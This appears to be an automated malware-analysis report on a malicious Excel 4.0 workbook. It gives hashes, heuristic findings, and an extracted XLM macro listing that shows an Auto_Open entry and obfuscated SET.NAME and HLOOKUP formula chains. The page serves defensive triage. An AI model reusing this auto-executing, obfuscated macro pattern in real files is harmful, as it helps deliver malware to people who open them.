Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 11c4788d23710518…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:26 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 2171e764c24313dcab7ad3d73aa05a01 SHA-1: a75bcec633caf848a9f05344a3a0ba7e38272952 SHA-256: 11c4788d23710518220044495e4706d6c01e01618bbd2f5cb0fd430f84be1148
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6849 bytes
SHA-256: bfd0519e302d502f4b0e241c17b44328b9a94c944dcbe1a3900fd771e1094e4d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GljMLrmBHq
' 0018     22 LABEL : Cell Value, String Constant - AREJRKT len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B176 
' 0018     21 LABEL : Cell Value, String Constant - ctWGax len=0 
' 0018     27 LABEL : Cell Value, String Constant - FvijAmevbxUx len=0 
' 0018     27 LABEL : Cell Value, String Constant - GdRANRKsLVDh len=0 
' 0018     25 LABEL : Cell Value, String Constant - JFUHYJghPA len=0 
' 0018     25 LABEL : Cell Value, String Constant - jJseZQIwTi len=0 
' 0018     25 LABEL : Cell Value, String Constant - jsgBYwkRBJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - KFxSd len=0 
' 0018     27 LABEL : Cell Value, String Constant - MJlUbvxGIFrx len=0 
' 0018     23 LABEL : Cell Value, String Constant - NathFaoj len=0 
' 0018     20 LABEL : Cell Value, String Constant - oVQOU len=0 
' 0018     25 LABEL : Cell Value, String Constant - QOIkpygUjU len=0 
' 0018     22 LABEL : Cell Value, String Constant - QquySmd len=0 
' 0018     21 LABEL : Cell Value, String Constant - tpXmdz len=0 
' 0018     21 LABEL : Cell Value, String Constant - uLmhgh len=0 
' 0018     20 LABEL : Cell Value, String Constant - UsVVx len=0 
' 0018     25 LABEL : Cell Value, String Constant - vzzwMBbABU len=0 
' 0018     24 LABEL : Cell Value, String Constant - WSyiSFHsV len=0 
' 0018     25 LABEL : Cell Value, String Constant - xBrcrFdgqv len=0 
' 0018     26 LABEL : Cell Value, String Constant - yEIaxQTgEPM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GljMLrmBHq,T69,"",-146.00000000000000000000
'  GljMLrmBHq,T70,"",-34.00000000000000000000
'  GljMLrmBHq,B71,"SET.NAME("jsgBYwkRBJ",0+VALUE("0"))",""
'  GljMLrmBHq,T71,"",-47.00000000000000000000
'  GljMLrmBHq,T72,"",-774.00000000000000000000
'  GljMLrmBHq,T73,"",-991.00000000000000000000
'  GljMLrmBHq,T74,"",-830.00000000000000000000
'  GljMLrmBHq,B75,"SET.NAME("yEIaxQTgEPM",jsgBYwkRBJ)",""
'  GljMLrmBHq,B79,"SET.NAME("ctWGax",jsgBYwkRBJ)",""
'  GljMLrmBHq,B83,"SET.NAME("QquySmd",COUNTA(KFxSd))",""
'  GljMLrmBHq,B88,"SET.NAME("GdRANRKsLVDh",COUNTA(JFUHYJghPA))",""
'  GljMLrmBHq,B91,[],""
'  GljMLrmBHq,B96,"SET.NAME("WSyiSFHsV","")",""
'  GljMLrmBHq,B100,"yEIaxQTgEPM",""
'  GljMLrmBHq,B105,"SET.NAME("tpXmdz",HLOOKUP("*",KFxSd,yEIaxQTgEPM,FALSE))",""
'  GljMLrmBHq,B107,"NathFaoj",""
'  GljMLrmBHq,B109,"SET.NAME("FvijAmevbxUx",jsgBYwkRBJ)",""
'  GljMLrmBHq,B114,[],""
'  GljMLrmBHq,B119,"FvijAmevbxUx",""
'  GljMLrmBHq,B124,"jJseZQIwTi",""
'  GljMLrmBHq,B128,"AREJRKT",""
'  GljMLrmBHq,B133,"xBrcrFdgqv",""
'  GljMLrmBHq,B138,"SET.NAME("uLmhgh",VALUE(HLOOKUP("*",JFUHYJghPA,xBrcrFdgqv,FALSE)))",""
'  GljMLrmBHq,B140,"UsVVx",""
'  GljMLrmBHq,B144,"WSyiSFHsV",""
'  GljMLrmBHq,B148,"ctWGax",""
'  GljMLrmBHq,B152,NEXT(),""
'  GljMLrmBHq,B157,"vzzwMBbABU",""
'  GljMLrmBHq,B162,[],""
'  GljMLrmBHq,B166,"MJlUbvxGIFrx",""
'  GljMLrmBHq,B171,NEXT(),""
'  GljMLrmBHq,B173,RETURN(),""
'  GljMLrmBHq,B197,"SET.NAME("QOIkpygUjU",B71)",""
'  GljMLrmBHq,B199,"KFxSd",""
'  GljMLrmBHq,B203,"SET.NAME("JFUHYJghPA",R48C12)",""
'  GljMLrmBHq,B208,"SET.NAME("MJlUbvxGIFrx",216)",""
'  GljMLrmBHq,B212,"SET.NAME("oVQOU",2)",""
'  GljMLrmBHq,B215,QOIkpygUjU(),""
'  GljMLrmBHq,B216,HALT(),""

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